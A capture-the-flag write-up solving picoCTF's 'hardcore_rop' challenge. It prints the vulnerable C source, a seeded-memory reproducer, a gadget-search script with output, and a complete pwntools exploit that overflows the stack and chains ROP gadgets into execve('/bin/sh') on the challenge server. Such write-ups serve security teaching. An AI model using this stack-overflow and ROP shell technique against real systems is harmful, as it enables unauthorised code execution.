I recently completed the hardcore_rop challenge on picoCTF and really liked the originality of the challenge. I ended up writing some tools to solve the challenge and I will share my solution here.

Static analysis

Downloading the source and binary form the challenge page, we can see that the binary expects four bytes (line 15) that it will use to seed its pseudo-random number generator. It then fills a big region of memory with random bytes replacing every 66th byte with a ret instruction. (lines 17-20)

It then reads 555 bytes into the 4 bytes seed. This essentially overflows the buffer and corrupts the stack frame of the randop function.

The binary is compiled statically with the -pie switch so it will be loaded at a different address everytime its executed. It also has the NX bit enabled meaning that our only option is a ropchain with gadgets found in the randomely generated executable memory region (line 21).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// PIE, NX, statically linked, with symbols.
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/stat.h>

#define MAPLEN (4096*10)

void randop() {
	munmap((void*)0x0F000000, MAPLEN);
	void *buf = mmap((void*)0x0F000000, MAPLEN, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
	unsigned seed;
	if(read(0, &seed, 4) != 4) return;
	srand(seed);
	for(int i = 0; i < MAPLEN - 4; i+=3) {
		*(int *)&((char*)buf)[i] = rand();
		if(i%66 == 0) ((char*)buf)[i] = 0xc3;
	}
	mprotect(buf, MAPLEN, PROT_READ|PROT_EXEC);
	puts("ROP time!");
	fflush(stdout);
	size_t x, count = 0;
	do x = read(0, ((char*)&seed)+count, 555-count);
	while(x > 0 && (count += x) < 555 && ((char*)&seed)[count-1] != '\n');
}

int main(int argc, char *argv[]) {
	struct stat st;
	if(argc != 2 || chdir(argv[1]) != 0 || stat("./flag", &st) != 0) {
		puts("oops, problem set up wrong D:");
		fflush(stdout);
		return 1;
	} else {
		puts("yo, what's up?");
		alarm(30); sleep(1);
		randop();
		fflush(stdout);
		return 0;
	}
}

finding the offset

Using cyclic, you can pass a pattern to the binary to see what will get loaded into eip and then use cyclic -l to compute the exact offset. Here is a samply python proof of concept poc.py achieving this.

1
2
3
4
5
6
7
8
#!/usr/bin/env python
from pwn import *

conn = remote("localhost", 1234)
conn.send("1111")       #sending the seed
raw_input()             #pausing to let me attach a debugger
conn.send(cyclic(555))  #sending the pattern
conn.interactive()

To actually execute this, I launched the hardcore_rop program service using netcat.

$ mkfifo /tmp/myfifo
$ nc -l -p 1234 -vv < /tmp/myfifo | ./hardcore_rop ./ > /tmp/myfifo

Attaching gdb to the hardcore_rop program, you can then place a breakpoint on the ret instruction found at randop+255.

You will find that your ropchain needs so start at offset 32 in your buffer. Also worth noting at this point is the fact that ecx and edx are pointing to the begining of the buffer when ret is about to execute. This will come in handy later.

Crafting a ROPchain

For this challenge the ropchain needs to contain gadgets from the randomely generated memory region but luckily we control the seed. The first task before we start working is to be able to generate an exact copy of the memory region given the same seed for us to search for gadgets. My strategy was to modify the sources of the provided program to print the memory region after creating it. I then pipe the result into a file and run ROPGadget on it to find gadgets. I can then grep its content for specific gadgets. Lets first review the program that generates the random gadgets.

Reproducing the memory region

Here is the source of my program that reproduces the memory region and sends it to STDERR. Note that I had to recreate the srand() and rand() functions as my libc would not generate the same random nubers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

#define MAPLEN (4096*10)

unsigned long long seeed;

/*
* This function is emulating the rand function in the hardcore_rop
*
*/
unsigned int randd(){
    long long v0;
    long long v1;
    unsigned int * v0high = (unsigned int*)((unsigned char*)&v0 + 4);
    unsigned int * seedhigh = (unsigned int*)((unsigned char*)&seeed + 4);
    
    v0 = (unsigned long long)1284865837 * (unsigned int)seeed;
    *v0high += 1481765933 * seeed + 1284865837 * (*seedhigh);  
    seeed = v0 + 1;
    return (unsigned int)((unsigned long long)(v0 + 1) >> 32) >> 1;
}


/*
* This function is emulating the srand function in the hardcore_rop
*
*/    
unsigned int srandd(int a1){
    int result;
    result = a1-1;
    seeed = a1 - 1;
    return result; 
}


/*
* This function is generating the random memory in the same fashion as 
* hardcore_rop and spits it out to stderr
*
*/ 
void randop() {
	munmap((void*)0x0F000000, MAPLEN);
	void *buf = mmap((void*)0x0F000000, MAPLEN, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
	unsigned seed;
	if(read(0, &seed, 4) != 4) return;
	srandd(seed);
	for(int i = 0; i < MAPLEN - 4; i+=3) {
		*(int *)&((char*)buf)[i] = randd();
		if(i%66 == 0) ((char*)buf)[i] = 0xc3;
	}
	int x, count = 0;
	do {
        x = write(2, ((char*)buf)+count, MAPLEN-count);
        fflush(stderr);
        printf("seed is %x or %4s\n", seed, ((char*)&seed));
        printf("wrote %d progress: %d/%d bytes\n", x,count, MAPLEN, x>0);
    }
	while((x > 0) && ((count += x) < MAPLEN));
}

int main(int argc, char *argv[]) {
    randop();
}

I could then use this as such to find gadgets:

$ echo aaaa | ./memgen 2> aaaa >/dev/null
$ ROPgadget --binary aaaa --ropchain --rawArch=x86 --rawMode=32 > bbbb

selecting gadgets

To obtain a shell I need to call execve("/bin/sh",0,0) or more precisely syscall(0xb,"/bins/sh",0,0). In other words, I need to set the following register values:

eax = 0xb
ebx = ptr to "/bin/sh"
ecx = 0
edx = 0

and then syscall (int 0x80).

As mentioned above, when the ropchain starts, ecx and edx are both pointing to the begining of our buffer therefore making it very easy for us to refer to a buffer we are in control of. In other words, by begining our buffer with "/bin/sh\x00", we know that ecx and edx point to the required /bin/sh string. However, its ebx that needs to point to it. I then looked for a mov ebx, ecx ; ret or mov ebx, edx ; ret gadget but they proved fairly rare. What was very common however were gadgets exchanging eax with another register. I therefore decided to look for 2 gadgets: xchg eax, ebx ; ret and xchg eax, ecx ; ret. This way I can move the pointer from ecx to ebx and then simply pop my other values into the other registers.

I decided to automate the searching process expecting this to be hard so I wrote the following script:

#!/bin/bash

# This script compiles a c program that mimics the random generation of
# the memory region generated by hardcore_rop.
# It then searches for specific gadgets in the generated memory
# If all required gadgets are found, the script stops

gcc -o memgen memgen.c -m32 -static -pie

c=1111

function test {
    if [ "$?" = "1" ]
    then
        echo "missing gadget !!!!!!!!!!!!!!!!!!!!!!!"
        echo
        (( c++ ))
        searchgadgets
    fi
}

function searchgadgets {
    echo "=== $c ===================================================================="
    echo
    #echo $c
    echo $c | ./memgen 2> aaaa >/dev/null
    ROPgadget --binary aaaa --ropchain --rawArch=x86 --rawMode=32 > bbbb
    echo "Step 1 -- Init syscall number gadgets"
    grep "\: pop eax ; ret$" bbbb
    test
    echo
    echo "Step 2 -- Init syscall arguments gadgets"
    grep "\: xchg eax, ebx ; ret$" bbbb
    test
    grep "\: xchg eax, ecx ; ret$" bbbb
    test
    grep "\: pop ecx ; ret$" bbbb
    test
    grep "\: pop edx ; ret$" bbbb
    test
    echo
    echo "Step 3 -- Syscall gadget"
    grep ": int 0x80" bbbb
    test
    echo
    exit
}

searchgadgets

Here is the output of this scrip:

$ ./search_gadgets.sh 
=== 1111 ====================================================================

Step 1 -- Init syscall number gadgets
0x00000d67 : pop eax ; ret

Step 2 -- Init syscall arguments gadgets
0x0000754d : xchg eax, ebx ; ret
0x000024dd : xchg eax, ecx ; ret
0x00003497 : pop ecx ; ret
0x00000f0d : pop edx ; ret

Step 3 -- Syscall gadget
missing gadget !!!!!!!!!!!!!!!!!!!!!!!

=== 1112 ====================================================================

Step 1 -- Init syscall number gadgets
0x0000338f : pop eax ; ret

Step 2 -- Init syscall arguments gadgets
0x00003c11 : xchg eax, ebx ; ret
0x000000c5 : xchg eax, ecx ; ret
0x00000ad3 : pop ecx ; ret
0x00002351 : pop edx ; ret

Step 3 -- Syscall gadget
missing gadget !!!!!!!!!!!!!!!!!!!!!!!

=== 1113 ====================================================================

Step 1 -- Init syscall number gadgets
0x00002e67 : pop eax ; ret

Step 2 -- Init syscall arguments gadgets
0x00002879 : xchg eax, ebx ; ret
0x00000fc8 : xchg eax, ecx ; ret
missing gadget !!!!!!!!!!!!!!!!!!!!!!!

=== 1114 ====================================================================

Step 1 -- Init syscall number gadgets
0x00002627 : pop eax ; ret

Step 2 -- Init syscall arguments gadgets
0x00000a0c : xchg eax, ebx ; ret
0x00005513 : xchg eax, ecx ; ret
0x0000712d : pop ecx ; ret
0x00006d0d : pop edx ; ret

Step 3 -- Syscall gadget
missing gadget !!!!!!!!!!!!!!!!!!!!!!!

=== 1115 ====================================================================

Step 1 -- Init syscall number gadgets
0x000006b3 : pop eax ; ret

Step 2 -- Init syscall arguments gadgets
0x00000246 : xchg eax, ebx ; ret
0x00004472 : xchg eax, ecx ; ret
0x00009d01 : pop ecx ; ret
0x00000f0d : pop edx ; ret

Step 3 -- Syscall gadget
0x00001d20 : int 0x80

The number 1115 is the seed that was provided to my memgen program to produce the random bytes in which I found the required gadgets. This means that when I craft my ropchain with these gadgets, I need to send the same seed to the server.

The Exploit

Puting it all together in my python script, we end up with this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python

from pwn import *

offset = 32
mb = 0x0F000000

conn = remote("vuln2014.picoctf.com", 4000)
conn.send("1115")

def p(addr):
    return p32(addr + mb)

rop = '/bin/sh\x00' + 'A' * (offset - len('/bin/sh\x00'))
rop += p(0x00004472)# : xchg eax, ecx ; ret
rop += p(0x00000246)# : xchg eax, ebx ; ret
rop += p(0x00009d01)# : pop ecx ; ret
rop += '\x00\x00\x00\x00'
rop += p(0x00000f0d)# : pop edx ; ret
rop += '\x00\x00\x00\x00'
rop += p(0x000006b3)# : pop eax ; ret
rop += p32(0xb)
rop += p(0x00001d20)# : int 0x80

conn.send(rop + 'A' * (555 - len(rop)))
conn.interactive()